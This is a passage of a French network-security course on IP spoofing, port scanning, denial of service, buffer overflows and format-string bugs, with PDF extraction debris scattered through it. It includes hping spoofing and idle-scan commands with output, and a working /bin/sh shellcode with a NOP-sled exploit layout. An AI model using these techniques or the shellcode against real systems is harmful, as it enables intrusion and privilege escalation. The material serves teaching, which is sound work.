IP : Comme IP travaille en mode datagramme, il ny a pas de maintien de connexion fait ce niveau. La couche IP est charge de router les datagrammes sans se soucier ni de la destination, ni de la source du datagramme. On voit bien ici que la falsication dun datagramme IP ne lempche pas de circuler sur le rseau. TCP : TCP est able et orient connexion. Plusieurs mcanismes de abilit sont prsents mais seulement deux ont de limportance pour ce prsent document : le squencement des paquets et leur acquittement. Ces mcanismes rendent len-tte TCP nettement plus difcile falsier que le datagramme IP. Squencement et acquittement : En affectant un numro de squence chaque paquet TCP et en demandant un acquittement la rception, il est possible de r-mettre les paquets perdus. Les numros de squence servent au rcepteur pour ordonner les paquets reus. Ainsi, mme en passant par des routes diffrentes les paquets TCP sont automatiquement rordonns. Les numros de squence sont cods sur un champ de 32 bits. Chaque champ comprend le numro de squence des quatres premiers octets de donne. Le numro dacquittement dune entit attend toujours le numro de squence de lautre entit. tablissement de connexion TCP : Un mcanisme bas sur TCP comme une connexion dun client Rlogin de la machine A sur un dmon Rlogin sur la machine B a lieu comme-suit :
78
F IG . 21.1 Principe du spoong Attaque laveugle : Un point quil ne faut pas oublier dans lIP spoong est que les attaques se font en aveugle. En effet, comme lattaquant subtilise lidentit dune machine de conance pour contourner la scurit dun serveur, les datagrammes renvoys par le serveur sont destination de la machine de conance (qui a t invalide) car les datagrammes IP fonctionnent sans connexion, donc lattaquant ne les voit jamais. Comme la machine de conance a t au pralable rendue inoprationnelle, elle nest pas capable de rpondre aux datagrammes reus et cest donc lattaquant dtre sufsamment document sur ltat de la communication des machines pour pouvoir prdire ce que le serveur attend en retour.
oc um en ts
ou sl
Une fois que la cible a t choisie, encore faut-il que celle-ci accepte tout utilisateur comme ayant certains droits, sinon, lattaque prend n ici. Cela peut ne pas tre facile mais des commandes telles que showmount -e ou rpcinfo peuvent aider dans cette tche, le but tant ici de rcuprer le maximum dinformations.
ic
en ce
FD
79
oc um en ts
Lattaquant doit avoir une ide du nombre contenu dans le numro de squence de la cible (le serveur), pour cela il va se connecter sur un port TCP de la machine cible (par exemple SMTP) et analyser les trames qui transitent. Ce processus est recommenc plusieurs fois et chaque fois on conserve le numro de squence de la cible de faon tablir des statistiques sur lincrmentation (dpendant du temps de transfert). Lattaquant possde alors toutes les cls : le dernier numro de squence mis, les donnes de changement ISN (128 000/seconde et 64 000/connexion) et le temps ncessaire. Aussitt aprs avoir pris connaissance de ces paramtres, lattaque est lance. Plusieurs cas peuvent alors se produire : le numro dacknowledge correspond parfaitement, et dans ce cas les donnes sont places en attente dans le buffer TCP si le numro dacquittement est infrieur au numro attendu, alors le paquet est supprim (considr comme une r-mission) si le numro est suprieur ce qui est attendu mais reste dans la limite acceptable par la fentre de transmission, dans ce cas il est maintenu en attente des paquets intermdiaires sinon il est purement supprim. Voici le mcanisme de lattaque : Temps 1 2 3 4
ou sl
@1 Z(A) A Z(A) Z(A)
ic
En (1), lattaquant simule ladresse IP de la personne de conance (qui subit une attaque de dni de service) et envoie sa connexion sur le port 513 (Rlogin est le plus utilis) de la victime. En (2), la cible rpond la machine falsie quelle autorise la communication. Comme la machine falsie est " un peu perdue ", elle supprime le paquet au lieu de renvoyer un RST comme elle aurait du le faire. En (3), lattaquant renvoi un paquet avec le numro de squence de la cible prdit + 1 puisquon lacquitte. Si la prdiction est bonne, la cible accepte le ACK, et la scurit est alors compromise puisque les transferts peuvent commencer (4). Une mthode permet de ne pas attaquer en aveugle, cest lutilisation du source routing. En effet, avec lutilisation des champs options du datagramme IP, il est possible de spcier une route pour un paquet de donne. Ainsi, il suft que lattaquant rajoute ce champ option avec un chemin de retour passant par lui de faon ce quil puisse voir le contenu de tous les messages destination de la machine usurpe. Dans ce
en ce
@2 B B B B
FD
En (1), lattaquant envoie toute une multitude de requtes SYN pour remplir le backlog. En (M), la cible renvoie des paquets TCP SYN/ACK ce quelle croit tre lmetteur. Cette phase dure un petit moment et pendant ce temps, aucune connexion sur le port TCP utilis nest prise en compte. En (N), lorsquun certain temps sest coul la machine cible dcide dannuler la connexion.
80
cas, lutilisation devient nettement plus simple, puisque lattaquant na plus besoin de faire de prdiction de numro de squence et il peut contrler la validit de tous les messages envoys et reus. Gnralement, lattaquant laisse une porte ouverte (backdoor) derrire lui de faon pouvoir revenir plus tard de faon beaucoup plus simple. Une modication du chier rhost est souvent effectue pour permettre un accs ultrieur.
oc um en ts
ou sl
ic
Dans le cas dune connexion directe sur Internet, la mthode la plus utilise consiste ltrer les paquets entrants au niveau du routeur daccs de faon ce quune connexion extrieure au rseau ne puisse pas avoir une adresse IP qui soit interne au rseau. Comme les relations de conance sont souvent attribues au sein mme du rseau, cela prmunit relativement bien contre les attaques.
en ce
FD
81
Pinguer la machine de votre voisin avec une adresse source alatoire. Observer avec votre sniffer. Rponse : ./hping2 --rand-source @IPvoisin
oc um en ts
ou sl
ic
en ce
FD
Chapitre 22
22.1 Introduction
La plupart de ces techniques sont implmentes dans le programme nmap (Network Mapper) de F YO <fyodor@dhp.com> disponible sur http ://www.insecure.org/nmap.
oc um en ts
Le plus souvent un port scan est comparable une attaque frontale, en effet le pirate doit tester chacun des ports de la machine les uns aprs les autres, il faut savoir que tout systme possde 65536 ports TCP dont les 1024 premiers sont rservs des applications serveur lances par ladministrateur. Lattaquant envoie une demande de connexion chacun des ports de la machine et attend quil rponde, si celui-ci rpond cest quil est ouvert, il pourra donc par la suite essayer dtablir une connexion sur ces derniers. Il sagit la plupart du temps dune attaque de reconnaissance, elle est souvent suivie dune vritable intrusion. Nous allons voir les diffrentes techniques utilises pour scanner les ports dun systme.
ou sl
82
ic
Le port scanning est utilis pour observer ltat dun rseau, il permet de dceler si certains ports sont ouverts la communication cest dire dans ltat LISTEN. Il est utilis par les administrateurs systmes pour dtecter si certains ports sont ouverts et les fermer en cas de besoin, mais aussi par les hackers (pirates) pour les mmes raisons mais ceux-ci utiliseront ces ports ouverts pour sinltrer ou rcuprer des informations sur le systme.
en ce
FD
83
Cette technique consiste envoyer un FIN un port, si celui-ci est ferm il renvoie un RST sinon le paquet est ignor et rien nest envoy en retour. Cette mthode nest pas utilisable sur tous les systmes, de plus elle demande beaucoup de temps au pirate. Pour dtecter ce type de scan il faut l aussi accder directement au noyau du systme pour accder aux sockets brutes.
oc um en ts
Machine A FIN
ou sl
FIN Aucune rponse : Port Ferm TAB . 22.3 TCP FIN Scanning
scanning
ic
en ce
Machine B RST port ouvert
FD
84
les SYN et FIN scans. En effet ces quipements ne rassemblent pas les fragments, car ceci demanderait beaucoup de ressources et abaisserait les performances du rseau, et les laissent donc passer, cest donc au systme lui mme de rassembler et de traiter, ces paquets fragments.
Dcrite par Dave Goldsmith en 1996 sur la liste Bugtraq (http ://www.securityfocus.com), cette mthode utilise le protocole ident (RFC 1413) qui permet de connatre le propritaire de nimporte quelle processus dune connexion TCP, mme sil ne sagit pas de linitiateur. On peut, par exemple, se connecter sur le port HTTP dune machine et utiliser identd an de savoir si le serveur a t lanc en tant que root. Mais cette mthode requiert une connexion TCP complte ce qui est facilement dtectable, de plus il est conseill de dsactiver identd (/etc/inetd.conf).
oc um en ts
Il existe dautres types de scans (http ://www.securityfocus.com) qui utilisent les ags URG, PUSH, URG+FIN, PUSH+FIN ou URG+PUSH qui sont aussi difcilement dtectables (un patch implmentant ces fonctionnalits pour nmap est disponible sur http ://vecna.unix.kg), il existe malgr tout un patch pour le noyau Linux de H ANK L EININGET <hlein@progressive-comp.com> disponible sur http ://www.progressivecomp.com/hlein/hap-linux/.
ou sl
ic
en ce
FD
85
hte A - lattaquant : votre machine hte B - lhte silencieux : il ne doit pas envoyer de paquets durant le scan de C (la nuit par exemple). hte C - la victime. Fonctionnement La machine A sniffent les paquets sortant de B en utilisant le numro didentiant contenu dans lentte ip. Vous pouvez raliser ceci simplement en utilisant hping de la faon suivante : #hping B -r HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms Comme vous pouvez le constater, lid augmente toujours de 1. Donc cet hte possde les caractristiques ncessaires pour faire la machine B. Maintenant A envoie un SYN au port X de C en se faisant passer pour B (utilisation de hping). Si le port X de C est ouvert, C rpondra SYN|ACK B (C ne sait pas que cest A qui a envoy la requte). Dans ce cas, B rpond au SYN|ACK avec un RST. Si vous envoyez C quelques SYN, il rpondra B avec quelques SYN|ACK, et donc B rpondra C avec quelques RST... donc nous verrons que B envoie des paquets ! 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 Le port est ouvert !
ic
en ce
FD
Au contraire, si le port X de C est ferm, lenvoi C de quelques SYN de la part de B (A dguis) entranera une rponse de C avec des RST et aucune rponse de B. Donc nous verrons que B ne rpond pas. 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 Le port est ferm.
oc um en ts
ms ms ms ms ms ms
ou sl
ms ms ms ms ms ms
86
-sT : TCP connect () scan -sS : TCP SYN scan -sF -sX -sN : TCP FIN, Xmas, Null scan. Les attaques Xmas et Null nont pas t vues. Les voici donc. Xmas scanne les ports grce aux ags FIN, URG ,PUSH NULL scanne les ports avec tous les ags descendus. Microsoft ignore ce genre de requte. -sP : Ping scanning -sU : UDP scan
4 Avec
oc um en ts
De nombreux sites proposent leurs services pour tester votre serveur et notamment les ports rseaux ouverts. Il est intressant de le faire fonctionner. Voici un exemple de ce que lon peut trouver sur le net :
ou sl
Il est possible de disposer dune interface graphique pour nmap via le package nmap-frontend. Cette interface graphique peut alors tre excute par le biais de la commande nmapfe.
ic
en ce
Aide : laide dune commande Linux sobtient pas man nomdelacommande Utilisez ce logiciel pour scruter votre machine, trouvez pour chacun de ces ports ouverts quel est le service qui coute et quel est son rle. Utilisez les diffrentes techniuqes vues prcdemment et observez les trames qui leurs sont associes. Consulter la documentation de nmap pour dcouvrir les autres possibilits de scan de port (avancs).
FD
Le logiciel nmap4 est disponible sur Linux pour connatre les ports ouverts dune machine.
87
Tout ordinateur connect internet dialogue travers ce que lon peut appeler des interfaces logicielles appeles ports. Ils sont potentiellement plusieurs milliers, et la scurit la plus lmentaire exige quils soient inactivs, lexception bien sr de ceux qui sont rellement utiles votre surf. Un intrus indlicat peut, travers un port actif non protg, raliser toutes sortes doprations dont les consquences peuvent tre fort dsagrables ; il est donc utile de vrier prcisment votre conguration. Cest ce travail que fait pour vous check.sdv.fr Comment fonctionne check.sdv.fr ?
Nous allons tester, lun aprs lautre, tous les ports existants, et vous dresser une carte aussi complte que possible de ltat des ports, ouverts ou ferms ; ceci sera associ un diagnostic estimant le niveau de scurit de votre machine. Compte tenu du nombre de tests, ce diagnostic peut prendre plusieurs minutes ; il est inutile de le rpter tous les jours, mais une prcaution raisonnable consiste le reprendre une frquence mensuelle, ou hebdomadaire ventuellement. Important : conditions dutilisation
SdV sengage bien videmment ne pas tenter de pntrer rellement les systmes tests, non plus qu conserver quelque donne que ce soit des rsultats de ses tests. Le programme se borne vrier le type de rponse des requtes vers la plupart des ports habituellement en usage. En cliquant sur le bouton " TESTER MON POSTE " qui suit, lutilisateur autorise SdV procder au test dcrit, sous les seules rserves qui prcdent. SdV ne donne aucune garantie explicite ou implicite de la abilit de ce test ; certaines conditions techniques rares peuvent entraner une non-dtection dactivit dun port pourtant actif. Il appartient au client, en cas de doute, et notamment en cas dapplication sensible, de faire procder des vrications approfondies par des consultants rseaux.
oc um en ts
ou sl
ic
en ce
FD
Chapitre 23
23.1 DoS
23.2 DDoS
Dans les attaques distribues DoS (DDoS), un hacker installe un agent ou dmon sur un certain nombre dhtes. Le hacker lance une commande au matre, qui rside dans lun des nombreux htes. Le matre communique avec les agents rsidents des autres serveurs pour commencer lattaque. Les attaques DDoS sont difciles contrer car elles ne proviennent pas dune seule adresse IP ou rseau. Le trac peut provenir dune centaine ou mme de milliers de systmes indpendants dont parfois (souvent) les utilisateurs ne sont mme pas avertis que leur ordinateur fait partie de lattaque. Les attaques DDoS incluent : FTP Bounce Attacks Ping Flooding Attack Smurf Attack SYN Flooding Attack IP Fragmentation/Overlapping Fragment Attack IP Sequence Prediction Attack DNS Cache Poisoning SNMP Attack Send Mail Attack
oc um en ts
ou sl
88
Lors dune attaque par Dni de Services (DoS), lattaquant envoie un ot de requtes sur un service dun serveur dans lespoir dpuiser des ressources telles que la "mmoire" ou consommer toutes les capacits du processeur. Les attaques DoS incluent : Jamming Networks (Blocage des Rseaux) Flooding Service Ports (Inonder une machine cible dans le but de bloquer ou gner son fonctionnement) Misconguring Routers (Recongurer des routeurs) Flooding Mail Servers (Inonder des serveurs mail)
ic
en ce
FD
89
En rsum, une attaque ftp bounce est le fait dinitier de nombreux transferts ftp an de saturer un serveur ftp. Cette technique utilise la fonctionnalit proxy dun serveur FTP dcrite dans le RCF 959 qui permet de se connecter nimporte quel serveur en passant par ce serveur FTP. Cette mthode tait utilisable en 1985, date laquelle le RFC a t rdige, de nos jours la plupart des serveurs FTP ne possdent plus cette fonctionnalit. Cette mthode permettait surtout de masquer lidentit de lattaquant, les paquets contiennent ladresse du serveur FTP qui a t utilise comme proxy.
Un attaque de type Smurf est un driv de lattaque "ping attack". Au lieu denvoyer des pings directement au systme attaqu, on envoie les pings ladresse de broadcast avec pour adresse de retour ladresse de la machine de la victime. Un certain nombre de machines intermdiaires enverront des pings la victime, bombardant ainsi la machine de la victime ou le systme avec des milliers ou des centaines de pings. source destination adresse IP de la victime adresse IP du broadcast
Une contre mesure peut tre dinterdire sur les routeurs lenvoi de trame sur ladresse de broadcast.
oc um en ts
Pinguer un ordinateur signie envoyer un signal une machine an que celle-ci rponde en retour. Une utilisation responsable du ping procure des informations sur la diponibilit dun service particulier. Le Ping Flooding est lutilisation extrme du ping par lenvoi de centaines de millions de pings par seconde. Le Ping Flooding peut endommager un systme ou mme stopper un site entier. Une attaque de type Ping Flooding inonde le rseau ou la machine de la victime avec des paquets IP de type Ping. De nombreux routeurs ou imprimantes sont aussi vulnrables.
ou sl
ic
en ce
FD
Pour empcher cette attaque, les dmons FTP sur les serveurs Web doivent tre mis jour rgulirement. Le site FTP doit tre monitor de faon rgulire pour identier si un chier nest pas envoy au serveur Web.
90
Lorsquune connexion TCP dmarre, la machine de destination reoit un paquet SYN (synchronize/start) de lhte source et envoie en retour un SYN ACK (accus de rception de synchronisation) en rponse. La machine destination doit couter pour recevoir cet acquittement, ou un paquet ACK, avant que la connexion ne puisse tre tablie. Ceci se nomme le "TCP three-way handshake". Rduire le time-out dattente peut aider rduire les risques dattaque par SYN ooding, comme augmenter la taille de la queue de la connexion (the SYN ACK queue).
Le DNS permet dobtenir des informations sur un hte. Pour augmenter leur productivit les DNS disposent dun cache o sont stocks les donnes les plus rcentes. Ce cache peut tre attaqu et les informations corrompues pour rediriger une connexion rseau sur un autre site, ou bloquer laccs un site en supprimant son entre dans le cache.
oc um en ts
Utilisant la mthode du SYN Flood, un hacker peut tablir une connexion avec une victime et obtenir les numros de squences des paquets IP. Avec ce nombre, le hacker peut controler la victime et le duper en lui faisant croire quil est en train de dialoguer avec une autre machine. La plupart des OS rendent maintenant alatoire la gnration de ces numros de squences pour rduire le risque de prdiction. Malgr ceci, lalatoire nest pas vritable et obit des fonctions mathmatiques plus ou moins complexes.
ou sl
ic
en ce
FD
91
Envoi dune trame echo UDP avec ladresse source de lune sur lautre.
oc um en ts
ou sl
ic
en ce
Un jeu vido reprend toutes ces attaques et les techniques de dfense qui seront vues plus tard, ce jeu : Uplink disponible sous Windows et Linux.
FD
Do cu me nt
so us
Sous UNIX, un chier excutable possdant le bit setuid est un programme qui va sexcuter avec les privilges du propritaire du chier et non les privilges de lutilisateur qui lance son excution. Cest ce qui permet un simple utilisateur de changer son mot de passe alors que cette opration ncessite une modication dun chier systme qui nest modiable que par le superutilisateur. La commande passwd est en effet un chier excutable dont le propritaire est le superutilisateur root : (le bit setuid est indiqu par le s) -r-sr-xr-x 2 root wheel 26804 Sep 18 2001 /usr/bin/passwd* Lorsquun tel programme possde une vulnrabilit permettant un attaquant dexcuter du code arbitraire, il suft ce dernier de lancer par exemple un shell, qui aura les privilges de lutilisateur qui la lanc, cest--dire les privilges superutilisateur ! Lattaquant a alors un accs complet tout ce qui se trouve sur la machine. Cest le principe des exploits avec buffer overows sur des programmes suid root.
92
li ce nc e
FD L
Chapitre 24
93
Les points importants retenir ici sont le fait que les variables locales une procdure sont stockes sur la pile ainsi que la valeur de ladresse de retour, cest--dire le PC avant lappel (le PC pointe toujours sur linstruction suivante).
s p r i n t f ( a u t r e , "%s " , " t i t i " ) ; p r i n t f ( " V a r i a b l e a u t r e a v a n t : %s \ n " , a u t r e ) ; s p r i n t f ( c h a i n e , "%s " , " t o t o e s t d a n s l e a u " ) ;
Lexcution de ce programme nous donne le rsultat suivant : eric@lampion:~/SaveOurSouls$ eric@lampion:~/SaveOurSouls$ eric@lampion:~/SaveOurSouls$ Variable autre avant : titi Variable autre aprs (buffer gcc -c stack.c gcc -o stack stack.o ./stack overflow) : eau
p r i n t f ( " V a r i a b l e a u t r e a p r s ( b u f f e r o v e r f l o w ) : %s \ n " , a u t r e ) ;
return ( 0 ) ;
oc um en ts
ou sl
ic
en ce
FD
Lors dun appel de procdure on stocke sur la pile les paramtres de lappel, les variables locales la procdure ainsi les diffrentes valeurs permettant de se retrouver aprs lappel dans le mme tat quavant, cest--dire les registres, et surtout le compteur de programme avant lappel (le PC, qui nous intresse beaucoup en loccurrence puisquil sagit de ladresse laquelle va se poursuivre lexcution la n de la procdure). La pile occupe les adresses hautes en mmoire et grandit vers le bas, dans les architectures Intel classiques. On connat son adresse grce un registre qui pointe vers son sommet, le Stack Pointer (SP). Un deuxime pointeur est souvent utilis par les compilateurs, il sagit du Frame Pointer (FP) qui pointe vers une adresse xe dans la pile. Il est utile pour rfrencer les variables locales et les paramtres qui vont se trouver des distances variables du SP puisquau l du temps des donnes sont pousses et retires de la pile. Il est donc plus ais de garder une FP, par rapport auquel ladresse des variables locales et des paramtres ne changera pas. La premire chose quune procdure fait lors dun appel est de sauver ce FP sur la pile an de pouvoir le restaurer aprs lappel.
94
ou sl
Etat de la pile : (ret est ladresse de retour de la procdure, a,b,c les paramtres dappel, buf la variable locale, sfp est le FP une fois sauv) top of memory
oc um en ts
1 2 3 4 5
Etat de la pile : bottom of memory <-----strcpy: top of stack buf sfp ret a [.........][....][....][....] ------------------!!!!-------> bottom of stack top of memory
ic
en ce
FD
24.3.1 Exemple :
95
Il est utile de compiler le programme avec loption -static an dobtenir le code voulu et non des rfrences des librairies charges dynamiquement lors de lexcution :
oc um en ts
ou sl
ic
en ce
FD
La fonction strcpy() va continuer copier la chane de caractres a dans le tableau buf jusqu ce quelle rencontre un caractre de n de chane de caractres (\0), sans tenir compte de la taille maximum du tableau. Il se produira donc ce que lon appelle un buffer overow : lcriture se poursuit en dehors des limites du buffer. Cependant le fait de changer ladresse de retour de la fonction permet simplement de choisir o continue le programme, ce nest gure pratique lorsque le but est dobtenir un accs illimit la machine, car les programmes suid que lon attaque ne contiennent normalement pas dinstruction pour lancer un shell par exemple. Pour pouvoir effectivement excuter nimporte quoi il faut que lattaquant puisse fournir lui-mme le code quil veut excuter. La solution est de mettre le code excuter dans le texte que lon va crire la place du buffer, et de sarranger ensuite pour que ladresse de retour que lon va crire se situe dans la pile, pour que le code fourni soit excut. Le premier problme est que le code que lon va excuter doit tre du code machine puisquil sera lu au cours de lexcution. Pour obtenir le code machine correspondant au code que lon veut excuter il suft dcrire un petit programme et de le compiler. On peut ensuite examiner le code produit laide de gdb pour connatre le code machine ainsi que la disposition en mmoire (longueur de chaque instruction, offsets) du programme :
96
[titan]$ gcc -o shellcode -gdb -static shellcode.c [titan]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. En examinant de prs le code assembleur on peut reprer les tapes indispensables et lon aboutit au code suivant (tout est expliqu en dtails ici).
oc um en ts
ou sl
ic
en ce
FD
97
bottom of memory
<------
[JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) bottom of stack
top of stack
Il reste cependant un petit problme : puisque notre buffer overow sera copi dans le buffer laide dune instruction du type strcpy(), il ne faut pas quil contienne de caractre nul sinon strcpy() sarrtera en pensant avoir atteint la n de la chane de caractres. Pour viter cela on examine le code machine produit et on remplace les instructions contenant des \0 par des instructions equivalentes possdant un opcode diffrent. Exemple :
oc um en ts
ou sl
EEEE CDEF sfp
Le principe est donc deffectuer un appel systme execve() pour lancer la commande /bin/sh. Cest l que se prsente un autre problme, comment connatre ladresse de cette chane de caractres une fois place en mmoire, an de pouvoir la rfrencer ? Une solution (lorsque lon connat le langage dassemblage ;-) est dutiliser une instruction JMP et une instruction CALL. Ces deux instructions peuvent utiliser laddressage relatif au PC, cest--dire que lon peut leur donner un dplacement en mmoire plutot quune adresse absolue. Il suft alors de placer un CALL juste avant la chane de caractres et un JMP vers le CALL au dbut du shellcode. Linstruction CALL va pousser son adresse de retour sur la pile, qui est justement ladresse de notre chane de caractres ! Il ne reste plus qu la copier dans un registre et utiliser ce registre pour effectiuer lappel systme. Le CALL, quant lui, peut simplement pointer vers le dbut de notre code : On voit ici lordre des sauts qui seront effectus lors de lexcution. les J reprsentent linstruction JMP en mmoire, C le CALL et s notre string /bin/sh :
ic
FFFF 0123 ret
en ce
FFFF 4567 a
FD
FFFF 89AB b
L
FFFF CDEF c top of memory
98
On a alors peu prs tout ce quil nous faut. Pour faire pointer RET vers le dbut de notre shellcode on peut simplement terminer notre string dexploit par ladresse du dbut de notre shellcode, recopie un grand nombre de fois. Cependant lors de lattaque dun programme tranger, comment connatre cette adresse ? La pile commence une adresse xe pour tous les programmes, et sachant que chaque programme va ensuite pousser sur la pile un nombre diffrent de bytes, on pourrait procder par essaiserreurs. Cependant cest trs fastidieux et risque dtre trs long. Une mthode souvent utilise en pratique est de commencer notre string dexploit par un grand nombre dinstructions NOP. Cette instruction ne fait rien part sauter linstruction suivante. Cela va nous permettre de tomber plus facilement au dbut de notre shellcode, puisquil suft darriver nimporte quel endroit dans les NOPs, qui seront simplement excuts jusqu ce que lon arrive notre shellcode. La conguration obtenue est la suivante :
oc um en ts
1 2 char s h e l l c o d e [ ] = 3 " \ xeb \ x 1 f \ x5e \ x89 \ x76 \ x08 \ x31 \ xc0 \ x88 \ x46 \ x07 \ x89 \ x46 \ x0c \ xb0 \ x0b " 4 " \ x89 \ x f 3 \ x8d \ x4e \ x08 \ x8d \ x56 \ x0c \ xcd \ x80 \ x31 \ xdb \ x89 \ xd8 \ x40 \ xcd " 5 " \ x80 \ xe8 \ xdc \ x f f \ x f f \ x f f / b i n / s h " ; 6 7 v o i d main ( ) { 8 int ret ; 9 10 r e t = ( i n t )& r e t + 2 ; 11 ( r e t ) = ( i n t ) s hel l code ; 12 13 } 14
ou sl
ic
en ce
FD
99
<------
[NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________|
Un minimum de connaissance du langage C est ncessaire pour comprendre ce qui suit. Les instructions comme printf(), sprintf(), etc... prennent parmi leurs arguments un "format string" qui dnit le format de ce que la commande va devoir crire en fonction des autres arguments. Tout le monde connait les caractres de formatting les plus courants utiliss dans ces "format strings", comme "%s" utilis pour imprimer une chane de caractres. (printf("%s", "Hello World !") ;) O se trouve le problme dans ces instructions qui sont parmi les plus utilises dans le langage C ? Le problme apparat lorsque le programmeur paresseux, comme tout programmeur crit par exemple printf (buf) ; Le langage C tant un langage de bas niveau, il ny a pas de vrication trs pousse des arguments, le programmeur est cens soccuper de leur bonne utilisation. Dans ce cas-ci, le buffer buf va tre considr comme la "format string" puisque pouss sa place sur la pile par printf(). Si buf ne contient aucun spcieur de format, le comportement sera sensiblement le mme que si on avait crit printf("%s",buf) ;, do le raccourci utilis par le programmeur. Par contre si buf contenait "%x %x %x %x %x" cette instruction aurait pour effet dimprimer le contenu des adresses passes en arguments. Comme il ny a pas dautres arguments mais que printf() ne le vrie pas, les arguments seront logiquement lus sur la pile la suite de buf, et imprims ! Le comportement est trs diffrent de ce qui tait dsir. En fonction de la mauvaise utilisation des "formats strings", on voit quil est possible de lire le contenu de la pile en sarrangeant pour que la chane de caractres utiliss en lieu et place de la "format string" contienne des caractres spciaux de formatting. On pourrait imaginer de lire tout le contenu de la pile (voir son organisation lors dappels de fonctions dans la partie sur les buffer overows) en fournissant la place dune "format string" un trs longue suite de spcieurs de format, de faon arriver la string dattaque
oc um en ts
Lors de notre recherche dexploits utilisant des buffer overows, nous sommes tombs sur toute une srie dexploit qui ressemblaient des buffer overows de par lutilisation de "shellcodes" binaires etc..., mais ntaient pas exactement de la mme nature. Il sagit des exploit utilisant des failles dans les "formats strings" donnes en argument des instructions comme sprintf(). Il tait intressant den comprendre le fonctionnement puisque nous avons pour nir utilis avec succs plusieurs exploits utilisant ce type de vulnrabilits.
ou sl
ic
en ce
Il est ais de trouver des "shellcodes" toutfaits sur Internet pour diffrentes architectures. Une bonne comprehension des buffers overows sera toutefois ncessaire pour obtenir un string dexploit fonctionnelle pour un ordinateur en particulier, et/ou la modier le cas chant.
FD
top of bottom of stack Et voil pour le principe. Il y a diffrentes variantes possibles, par exemple si le buffer que lon veut exploiter est trop petit pour contenir le shellcode et/ou un grand nombre de NOP, on peut utiliser les variables denvironnement pour stocker la string dexploit, puisque ces variables sont pousses sur la pile tout au dbut du lancement du programme.
100
